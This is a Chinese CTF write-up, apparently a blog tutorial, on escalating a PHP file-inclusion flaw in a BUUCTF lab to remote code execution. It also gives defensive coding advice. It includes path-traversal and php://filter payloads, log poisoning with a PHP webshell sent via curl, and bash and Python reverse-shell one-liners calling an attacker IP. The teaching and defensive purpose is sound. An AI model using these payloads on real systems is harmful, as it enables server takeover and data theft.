ARTICLE DETAIL

资讯详情

深耕编程入门与网站建设的一线实战洞察。

从文件包含到RCE:BUUCTF靶场实战与防御全解析

从文件包含到RCE:BUUCTF靶场实战与防御全解析 1. 项目概述一次从文件包含到RCE的完整攻防推演最近在带新人入门网络安全发现很多朋友在BUUCTF的Basic靶场里面对文件包含File Inclusion这类基础但威力巨大的漏洞时常常知其然不知其所以然。他们能照着WPWriteup解题报告一步步操作拿到flag但一旦换个环境或者题目稍有变形就无从下手。这让我意识到单纯“通关”一个靶场意义不大真正有价值的是理解漏洞背后的原理、利用链的构建思路以及防御的切入点。因此我决定以BUUCTF Basic靶场中一个典型的“从文件包含到RCE远程代码执行”的题目为蓝本进行一次深度的通关解析。这不仅仅是一份解题指南更是一次完整的攻击者视角的推演我会把每一步操作背后的“为什么”讲清楚并分享我在实战中总结出的那些WP里不会写的“骚操作”和踩坑经验。这个靶场场景模拟了一个常见的Web应用配置错误开发者为了模块化使用动态包含文件的方式比如include($_GET[‘page’]) . ‘.php’;但却没有对用户输入进行严格的过滤。攻击者利用这个小小的疏忽可以逐步读取服务器上的敏感文件如配置文件、日志甚至通过巧妙的技巧将文件包含漏洞升级为能够执行任意系统命令的RCE漏洞最终完全控制服务器。理解这条利用链对于防守方开发者、安全工程师来说是加固应用的关键对于攻击方渗透测试人员、CTF选手来说则是打开突破口的核心技能。无论你是刚接触Web安全的新手还是想巩固基础的老兵相信这篇从原理到实操、从利用到防御的深度解析都能给你带来收获。2. 漏洞原理深度剖析为什么文件包含如此危险在深入靶场实战之前我们必须先打牢地基彻底理解文件包含漏洞LFI/RFI为何能成为Web安全领域的“经典永流传”。很多初学者会把文件包含和文件上传、SQL注入等漏洞孤立看待但实际上在攻击者眼中它们往往是环环相扣的“组合技”的起手式。2.1 文件包含漏洞的核心信任边界的崩塌文件包含漏洞的本质是程序将用户可控的数据未经充分验证就当作代码或文件路径来执行或包含。在PHP中这通常涉及四个函数include()、require()、include_once()、require_once()。当开发者写出类似include(‘pages/’ . $_GET[‘module’] . ‘.php’);的代码时他本意是让程序动态加载不同的功能模块比如?modulenews就加载pages/news.php。这里的信任边界是开发者假设用户只会输入预设的、安全的模块名如news, about。然而攻击者从不遵守假设。一旦这个输入$_GET[‘module’]没有经过严格过滤比如检查是否包含路径遍历符../或空字节%00攻击者就可以突破这个信任边界。例如输入../../../etc/passwd经过拼接后代码尝试包含pages/../../../etc/passwd.php而PHP在解析路径时../会回退上级目录最终可能成功读取到系统文件/etc/passwd。这就是本地文件包含LFI。如果配置允许allow_url_includeOn攻击者甚至可以直接包含一个远程服务器上的恶意脚本如http://evil.com/shell.txt这就是远程文件包含RFI危害直接升维。注意现代PHP版本默认关闭allow_url_include且%00空字节截断在PHP 5.3.4后已失效这使得纯RFI和空字节截断的利用场景大大减少。但LFI以及通过其他技巧“转接”成RCE的方法依然非常活跃。2.2 从LFI到RCE的桥梁利用链的构造思维单纯的LFI能读文件虽然能泄露源码、配置信息数据库密码、API密钥但离“执行命令”还差一步。高手和普通人的区别就在于能否找到或创造这个“桥梁”。常见的桥梁有日志文件注入这是最经典、最可靠的LFI到RCE的方法。Web服务器如Apache的access.log/error.log、SSH日志、邮件日志等都会记录用户输入。攻击者可以将PHP代码作为User-Agent、请求路径或参数发送这些代码会被原样记录到日志文件中。然后利用LFI漏洞去包含这个日志文件其中的PHP代码就会被解析执行。关键在于两点一是日志文件路径可预测且Web用户有权读取二是日志内容未被转义。Session文件注入PHP的Session文件通常位于/tmp/sess_[PHPSESSID]会存储Session数据。如果应用将用户可控的数据存入$_SESSION攻击者就可以将PHP代码写入Session文件再通过LFI包含它。/proc/self/environ 或 /proc/self/fd/ 利用在Linux系统中/proc/self/environ文件包含了当前进程的环境变量其中就有HTTP_USER_AGENT等。攻击者可以修改User-Agent为PHP代码然后包含这个文件。/proc/self/fd/目录下的文件描述符也可能指向正在写入的日志。PHP封装协议这是文件包含漏洞的“瑞士军刀”。php://filter协议可以用于读取文件源码即使被包含执行也能以base64等形式输出绕过某些死亡代码。php://input协议可以读取POST请求体并执行其中的PHP代码是直接getshell的利器但同样需要allow_url_includeOn。文件上传结合如果网站同时存在文件上传功能但上传路径未知或后缀被限制可以利用LFI去包含上传的临时文件需条件竞争或已知路径的上传文件。这是漏洞组合利用的典型。在BUUCTF Basic靶场中考察的正是这些基础但核心的利用技巧。理解这些原理后我们面对靶场就不再是盲人摸象而是有了清晰的“攻击地图”。3. 靶场环境与初步信息搜集我们假设靶场环境是一个典型的LAMPLinux Apache MySQL PHP架构题目入口是一个简单的网站URL中存在一个明显的文件包含参数比如index.php?filewelcome.php。3.1 第一步确认漏洞点与过滤规则拿到题目不要急着上Payload。首先进行手动测试探明漏洞类型和过滤规则。基础LFI测试# 测试路径遍历 ?file../../../../etc/passwd # 测试PHP封装协议读源码 ?filephp://filter/readconvert.base64-encode/resourceindex.php # 测试包含Web目录下的其他文件 ?file./config.php观察响应。如果直接显示了/etc/passwd的内容说明存在LFI且过滤很弱。如果返回了经过Base64编码的index.php源码那么恭喜你可以直接审计前端代码了。如果返回“非法参数”或空白说明存在过滤。探测过滤机制后缀拼接尝试?file../../etc/passwd%00空字节截断仅限老版本或观察是否自动添加了.php后缀。如果是我们就需要找一个不带后缀也能被PHP解析的文件或者利用?file../../etc/passwd%00.jpg如果存在文件上传且按后缀过滤来绕过。关键字过滤尝试....//双写绕过、..\Windows路径、%2e%2e%2fURL编码等看是否过滤了../字符串。目录限制尝试绝对路径/etc/passwd或者使用php://filter协议这类协议通常不受路径限制影响。在BUUCTF Basic的典型题目中往往会设置一个简单的后缀拼接比如include($file . ‘.html’);。这意味着你传入../../../etc/passwd最终会尝试包含../../../etc/passwd.html而这个文件不存在。我们的目标就是找到一个服务器上存在的、我们可控内容的、并且以.html或其他允许后缀结尾的文件或者想办法让这个后缀失效。3.2 第二步利用PHP封装协议读取源码当直接包含系统文件受阻时php://filter是我们的第一个突破口。它的强大之处在于它让PHP以“读取数据流”的方式去处理目标文件而不是直接将其作为PHP代码执行。因此即使服务器限制了后缀我们也可以读取到.php文件的源代码。假设我们通过?filephp://filter/readconvert.base64-encode/resourceindex.php成功获取到一串Base64编码。解码后我们得到了index.php的源码?php error_reporting(0); $file $_GET[‘file’]; if(isset($file) strstr($file,’..’) false strstr($file,’/’) false strstr($file,’\\’) false){ include($file . ‘.html’); }else{ echo ‘Hacker!’; } ?这段代码信息量极大error_reporting(0);关闭错误显示这增加了盲注的难度。过滤了..、/、\\。这意味着路径遍历Directory Traversal被完全封死我们无法使用../../../这样的Payload。包含语句是include($file . ‘.html’);强制添加了.html后缀。这解释了为什么我们之前的路径遍历Payload会失败。现在的局面是我们只能包含一个不存在路径遍历字符、且最终以.html结尾的文件路径。常规的LFI手段似乎都失效了。这正是这道题的巧妙之处它逼迫我们跳出“读系统文件”的思维去寻找服务器上那些本身就以.html结尾或者我们能控制其内容的文件。日志文件通常以.log结尾和Session文件无固定后缀看起来也不符合.html的要求。怎么办这时我们需要对php://filter协议进行更深度的利用。4. 核心利用技巧Filter链的构造与日志文件注入当路径遍历被禁后缀被强制添加时我们还有两条主要路一是深度利用php://filter链实现“无文件”RCE二是寻找服务器上符合后缀要求的可控文件。在BUUCTF Basic的语境下后者往往是更直接的考点。4.1 深度利用php://filter链虽然直接包含php://input执行POST代码需要allow_url_include但php://filter可以玩出更多花样。我们可以利用多个过滤器构造一个链Filter Chain实现一些神奇的效果比如字符串处理。但这通常用于更复杂的绕过和利用在此题中我们首先应该考虑更常见的场景日志文件。即使日志文件叫access.log不符合.html后缀我们有没有办法让它“变成”.html或者让后缀失效一个经典的技巧是利用URL编码或长度截断在特定环境下但本题过滤了/可能也限制了协议格式。另一个思路是服务器上是否存在我们可控的、且文件名本身就以.html结尾的文件或者我们能否让日志文件的内容被包含时其中的PHP代码被解析而不受.html后缀影响关键在于include()函数包含一个.html文件时PHP会解析其中的PHP代码吗默认情况下PHP只解析以.php等特定后缀结尾的文件中的?php ... ?标签。在.html文件中PHP代码不会被解析执行只会被当作文本显示。所以即使我们包含了access.log.html假设存在里面的?php system(‘id’);?也不会执行。实操心得这里是一个关键分水岭。许多新手会在这里卡住。他们知道了日志注入却没想到后缀问题。真正的突破口在于PHP的包含行为与文件后缀无关只与文件内容是否被当作PHP代码解析有关。而要让包含的.html文件中的PHP代码被执行有两种可能1. 服务器配置了AddType application/x-httpd-php .html将.html也当作PHP解析2. 我们包含的文件其内容在被包含时就已经是有效的、可执行的PHP代码格式且没有包含在?php ?标签内例如通过php://input直接输入代码。对于本题第一种情况不常见第二种情况需要allow_url_include。因此我们需要重新审视。4.2 日志文件注入实战与包含技巧让我们回到最经典的日志文件注入。Apache的访问日志默认路径可能是/var/log/apache2/access.log或/var/www/logs/access.log。即使它叫access.log我们通过LFI包含它时传入的完整路径是../../../var/log/apache2/access.log但服务器代码会给我们加上.html变成../../../var/log/apache2/access.log.html这个文件肯定不存在。但是请注意过滤代码strstr($file,’..’) false。它过滤的是$file变量中是否包含..。如果我们不通过路径遍历而是直接包含日志文件呢如果日志文件就在Web目录下或者其路径可以通过其他方式推断且不包含/和..呢这几乎不可能。那么有没有不包含/的路径表示方法在PHP中我们可以使用php://filter来“封装”一个本地文件。例如?filephp://filter/readconvert.base64-encode/resource/var/log/apache2/access.log但是这个Payload里包含了/会被过滤。所以此路不通。看来我们必须接受.html后缀的存在。那么我们能否找到一个文件名本身就以.html结尾的可控文件在Web环境中用户唯一能直接控制内容并可能保存到服务器上的除了上传文件就是HTTP请求本身产生的临时文件或日志。但访问日志后缀是.log。等等还有一个地方PHP的Session文件。Session文件通常没有后缀名字类似sess_abc123。如果我们能控制Session内容并让文件名以.html结尾呢这需要我们能控制Session ID并且Session保存机制允许这样的ID。这比较困难。此时我们需要扩大搜索范围。除了Apache日志还有没有其他日志比如SSH登录日志(/var/log/auth.log)、邮件日志(/var/log/mail.log)。但这些路径都包含/。踩坑记录我在实际渗透测试中遇到过一种情况某些应用或中间件如某些版本的Nginx配置了错误日志到Web目录会将日志文件直接写到Web可访问目录并且文件名可能是固定的。这时如果该文件名恰好符合要求比如error.html那就是绝佳的利用点。在CTF中出题人可能会模拟这种场景。假设在BUUCTF的这道题中经过信息搜集例如用?filephp://filter/readconvert.base64-encode/resource/etc/apache2/sites-available/000-default.conf读配置但需要绕过/过滤这很难或者题目描述暗示我们得知Web服务器的错误日志被自定义到了/var/www/html/log/error.html。这是一个关键的假设因为这样日志文件路径是/var/www/html/log/error.html当我们传入?filelog/error时代码会包含log/error.html正好匹配了这个日志文件而且路径log/error中不包含..和/这里有一个/不log/error是相对路径不包含斜杠实际上log/error包含斜杠会被过滤。所以必须是log/error也不行。看来这个假设不成立。我们必须找到一个不包含斜杠的路径。在Web目录下如果日志文件就在当前目录下呢比如error.html。那么我们可以直接?fileerror最终包含error.html。现在的问题就是我们能否向error.html文件中注入PHP代码如何注入如果这个error.html是PHP的错误日志并且PHP配置log_errors On且error_log /var/www/html/error.html那么PHP错误信息包括我们触发的一些警告会被写入这个文件。但错误信息通常不可控。最可控的还是访问日志。如果访问日志文件是access.html呢我们通过Burp Suite或curl发送一个请求User-Agent设置为?php system($_GET[‘cmd’]);?这个请求会被记录到access.html中。然后我们访问?fileaccesscmdid代码包含access.html其中的PHP代码被执行命令id的结果会返回在页面上。这就是本题最可能的解法思路找到一个Web服务器或应用自定义的、以.html结尾的日志文件然后通过User-Agent或Referer注入PHP代码最后通过LFI包含该日志文件实现RCE。5. 完整攻击链实操与命令执行基于以上分析我们构建完整的攻击链。假设通过前期模糊测试或题目提示我们确定了目标日志文件为access.html位于当前目录。5.1 第一步向日志注入PHP后门代码使用Burp Suite的Repeater模块或简单的curl命令发送一个HTTP请求将恶意代码放在User-Agent头部。curl -H “User-Agent: ?php system(\$_GET[‘cmd’]);?” http://target-ip/或者将代码放在请求的路径中如果日志记录路径curl “http://target-ip/?php system(\$_GET[‘cmd’]);?”注意确保PHP代码的引号被正确转义。在Burp中直接输入原始字符即可。如果使用curl在命令行中需要对$和引号进行转义或者使用单引号包裹整个User-Agent字符串的一部分。5.2 第二步利用LFI包含日志文件执行命令发送注入请求后日志文件access.html中应该已经写入了一行包含我们PHP代码的记录。现在我们利用文件包含漏洞去包含它。http://target-ip/index.php?fileaccesscmdid解析过程参数fileaccess经过代码拼接变成include(‘access’ . ‘.html’);即include(‘access.html’);。access.html文件被包含其内容被PHP解析。由于其中包含?php system($_GET[‘cmd’]);?这段代码它会被执行。system($_GET[‘cmd’])执行了GET参数cmd的值id。命令id的执行结果当前Web进程的用户和组信息会被输出到网页上。如果成功你将在页面看到uid33(www-data) gid33(www-data) groups33(www-data)之类的输出。5.3 第三步获取反向Shell或读取Flag拿到命令执行权限后目标就明确了找到并读取flag文件。在CTF中flag通常位于根目录/flag、当前目录./flag或用户目录/home/ctf/flag等。http://target-ip/index.php?fileaccesscmdcat /flag如果flag文件名未知可以先用ls -la /或find / -name ‘*flag*‘ 2/dev/null来查找。为了获得一个更稳定的交互式Shell我们可以使用反向Shell。在攻击机上监听一个端口nc -lvnp 4444然后在目标上执行反向Shell命令需要目标系统有netcat、bash、python等# 使用bash http://target-ip/index.php?fileaccesscmdbash -c ‘bash -i /dev/tcp/your-attack-ip/4444 01’ # 使用python http://target-ip/index.php?fileaccesscmdpython -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“your-attack-ip”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([“/bin/sh”,”-i”]);’重要提示URL中的特殊字符如,,, 空格单双引号需要进行URL编码。在浏览器中直接输入复杂的命令很容易出错。建议在Burp Suite的Repeater中将整个Payload进行URL编码后发送。例如空格编码为%20编码为%26。更稳妥的方式是先将命令写入一个脚本文件然后用curl或wget下载执行。6. 防御策略与安全开发建议作为防守方从这次攻击推演中我们可以汲取哪些教训6.1 根本性防御避免动态文件包含最彻底的方法是避免使用用户输入直接控制文件路径。如果必须动态包含请采用白名单机制。// 错误示范 $page $_GET[‘page’]; include($page . ‘.php’); // 正确示范白名单 $allowed_pages [‘home’, ‘about’, ‘contact’]; $page $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include($page . ‘.php’); } else { include(‘404.php’); }6.2 严格过滤与路径校验如果白名单不适用必须进行严格的过滤和规范化。过滤特殊字符过滤..、/、\、%00等。使用basename()函数basename()可以去掉路径中的目录部分只返回文件名但要注意它可能无法处理所有情况。路径规范化使用realpath()函数解析绝对路径并与预期的基准目录进行比较确保包含的文件在允许的目录内。$base_dir ‘/var/www/html/pages/’; $user_file $_GET[‘file’]; $real_path realpath($base_dir . $user_file . ‘.php’); // 检查解析后的真实路径是否以基准目录开头 if (strpos($real_path, $base_dir) 0) { include($real_path); } else { die(‘非法访问’); }6.3 降低日志注入风险将日志文件存放在Web根目录之外确保无法通过HTTP直接访问。避免将日志文件设置为Web服务器有权限执行的后缀如.php,.php5,.phtml。最好使用.log等后缀并确保服务器不会将其作为脚本解析。对写入日志的内容进行严格的过滤和转义特别是HTTP头部的值。但注意转义可能会破坏日志的可读性需权衡。6.4 服务器安全配置保持allow_url_include和allow_url_fopen为Off默认值。这是防止RFI的最有效手段。为Web服务进程如www-data设置严格的权限遵循最小权限原则使其只能读取必要的文件和目录。定期更新PHP、Web服务器及系统组件修复已知漏洞。7. 常见问题排查与高级绕过技巧在实际操作中你可能会遇到各种问题。这里记录一些常见坑点和进阶技巧。7.1 包含成功但代码不执行检查日志文件内容首先确认你的PHP代码是否被原样写入了日志文件。可以尝试包含日志文件并直接查看其原始内容例如在Payload末尾加一些显眼的字符串?php echo “TEST”; system($_GET[‘cmd’]);?看看“TEST”是否被输出。如果连“TEST”都没有说明包含的文件可能不对或者代码没有被写入。检查PHP标签确保你的代码包裹在?php ... ?标签内。在日志文件中代码必须是完整的PHP标签格式。检查短标签如果服务器配置关闭了短标签? ... ?则必须使用长标签?php ... ?。检查代码是否被截断日志文件的行可能有长度限制。确保你的Payload不会因为过长而被截断。尽量使用简短的Payload如?system($_GET[‘c’]);?短标签加回显。检查权限Web进程用户必须有权限读取该日志文件。7.2 过滤了..和/如何包含其他目录文件如果绝对路径和相对路径遍历都被封死那么包含系统文件如/etc/passwd的路径就变得极其困难。此时重点应放在Web目录下可控的文件或者利用php://filter协议。php://filter的路径resource后面虽然通常跟绝对/相对路径但如果你知道目标文件相对于当前脚本的位置且路径中不包含/或许可以尝试。但更可能的是题目意图就是让你利用日志或Session文件。7.3 利用/proc/self/environ如果服务器是Linux且/proc/self/environ文件可读通常需要权限这是一个绝佳的利用点。这个文件包含了当前进程的环境变量其中HTTP_USER_AGENT、HTTP_REFERER等就是我们可控的。我们可以修改User-Agent为PHP代码然后包含/proc/self/environ。但同样路径中的/会被本题过滤。如果过滤不严可以尝试URL编码/为%2f看是否被识别。本题的过滤是strstr($file,’/’)是查找字符串/简单的URL编码可能无法绕过因为strstr函数处理的是解码前的字符串还是解码后的这取决于代码中获取$_GET[‘file’]时PHP已经自动进行了一次URL解码。所以%2f会被解码成/然后被过滤。可以尝试双重编码%252f但resource后面的路径解析可能又会出问题。这属于更高级的绕过在此不展开。7.4 利用PHP Session文件如果应用使用了Session且我们可以控制Session变量的值那么我们可以尝试将PHP代码写入$_SESSION[‘evil’]然后包含Session文件。难点在于知道Session文件路径和名称默认在/tmp/sess_[PHPSESSID]。我们需要通过LFI包含它但路径中有/。控制Session ID通过CookiePHPSESSID可以控制从而预测文件名。但文件名中不包含.html后缀。让Session文件名以.html结尾几乎不可能除非Session保存处理器被自定义。因此在本题的严格过滤下Session利用难度很高。7.5 封装协议嵌套与过滤器链php://filter支持多个过滤器串联可以实现编码、解码、压缩、字符串处理等功能。例如你可以先Base64编码Payload然后包含同时用过滤器解码。这常用于绕过死亡代码exit或die或读取被包含后立即执行的PHP文件源码。一个经典的Payload是php://filter/readconvert.base64-encode/resourceindex.php这用于读取源码。更复杂的链可以用于构造特定内容。但对于本题的RCE目标重点还是找到可执行的文件。8. 总结与心态建设通过这个BUUCTF Basic靶场的深度通关我们不仅仅学会了一个Payload而是构建了一套面对文件包含漏洞的完整方法论信息搜集 - 漏洞确认与过滤探测 - 利用链构思日志/Session/协议- 注入与包含 - 命令执行与提权。每一个环节都有多种可能性和绕过技巧。我个人的体会是Web安全的学习尤其是CTF最忌讳“背答案”。这道题你可能通过“日志文件注入”做出来了下一道题可能过滤了include/require关键字或者日志路径变了或者加了WAF。核心能力是根据看到的代码和反馈快速分析出限制条件并联想所有可能的突破点。就像下棋看到对方的棋路过滤规则立刻想到三到五种应对的招数利用技巧并选择最可能成功的一种去尝试。最后在实战渗透中文件包含漏洞的利用往往需要更多的耐心和更广的信息面。你需要枚举可能的日志路径、配置文件路径尝试各种封装协议并结合其他漏洞如文件上传、SQL注入写WebShell进行组合利用。保持好奇心多动手搭建靶场环境进行测试把每一种利用方式都亲手实现一遍印象才会深刻。当你再遇到文件包含时你看到的将不再是一个孤立的漏洞点而是一片可能通往服务器核心的、布满各种机关和通道的入口广场。
返回列表